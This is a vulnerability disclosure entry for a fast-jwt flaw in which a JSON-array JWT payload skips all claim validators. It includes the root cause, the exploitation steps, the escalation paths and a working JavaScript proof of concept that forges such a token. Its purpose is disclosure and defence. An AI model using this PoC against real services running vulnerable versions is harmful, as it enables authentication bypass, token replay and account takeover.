# fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array

fast-jwt's createVerifier skips all claim validators (exp, iss, aud, sub, jti, nonce) when a signed JWT payload is a JSON array, yielding forever-tokens.

- Payout: Research
- Severity: high
- Program: fast-jwt
- Found by: rtvkiz
- Disclosed: 2026-10-08
- CVE: CVE-2026-107723
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-5hjw-83fp-phq9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5hjw-83fp-phq9
- Tags: area:oss domain:oss impact:ato impact:integrity kind:research platform:ghsa sev:high tech:jwt tech:nodejs technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass

**Target:** npm library JWT decoder/verifier (src/decoder.js, src/verifier.js)
**Root cause:** Payload type check uses `typeof payload !== 'object'` without an `Array.isArray` guard (unlike the header check), so arrays pass; the validator loop's `claim in payload` test is always false for arrays, silently skipping every validator.
**Steps:**
1. Craft JWT with header `{"alg":"HS256","typ":"JWT"}` and payload `["attacker","role:admin"]` (a JSON array).
2. Sign with HMAC-SHA256 over `header.payload` using the shared secret.
3. Call `createVerifier({key, allowedIss, allowedAud, allowedSub})` on the token.
4. Verifier returns the array payload with no error; exp/iss/aud/sub/jti/nonce checks all skipped.
5. Control: object payload `{iss:'attacker',exp:1}` is correctly rejected as expired.
**How found:** Reporter compared the header guard (which includes `Array.isArray`) against the payload guard (which omits it), then traced the validator loop's `claim in payload` test and realized it is always false for arrays, so every validator hits `continue`.
**Exploitation:** Any party able to mint a validly-signed token (shared-HMAC mesh peer, multi-tenant issuer, delegated signer) serializes an array payload to obtain tokens accepted platform-wide with expiry, audience, issuer, subject, jti and nonce enforcement disabled.
**Escalation:** Forever-tokens (expiry bypass), cross-service replay (audience bypass), issuer spoofing in federated/OIDC, revocation-list bypass via missing jti, OIDC nonce replay, and unattributable audit logs (payload.sub undefined).
**Insight:** When a library validates one JSON field's shape but not another, diff the guards: a missing `Array.isArray` on payload lets `typeof [] === 'object'` slip through, and downstream `key in obj` checks silently no-op on arrays. Prior fix for array-valued claims (CVE-2025-30144) lived inside the loop body and never ran for this variant.

## Proof of concept (copied exactly from the original report)

**PoC forging array-payload JWT that bypasses validators**

```
const { createVerifier } = require('fast-jwt')
  const crypto = require('crypto')

  const key = 'shared-secret'
  const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url')
  const payload = Buffer.from(JSON.stringify(['attacker', 'role:admin'])).toString('base64url')
  const sig = crypto.createHmac('sha256', key).update(`${header}.${payload}`).digest('base64url')
  const token = `${header}.${payload}.${sig}`

  const verify = createVerifier({
    key,
    allowedIss: ['legit-issuer'],
    allowedAud: ['legit-audience'],
    allowedSub: ['legit-subject']
    // exp enforcement is on by default
  })

  console.log(verify(token))
  // Output: [ 'attacker', 'role:admin' ]
  // No error thrown. allowedIss/allowedAud/allowedSub/exp all skipped.

  // Control: an object payload with the same garbage claims is correctly rejected:
  const bad = Buffer.from(JSON.stringify({ iss: 'attacker', exp: 1 })).toString('base64url')
  const sig2 = crypto.createHmac('sha256', key).update(`${header}.${bad}`).digest('base64url')
  verify(`${header}.${bad}.${sig2}`)
  // Throws: "The token has expired at 1970-01-01T00:00:01.000Z."
```

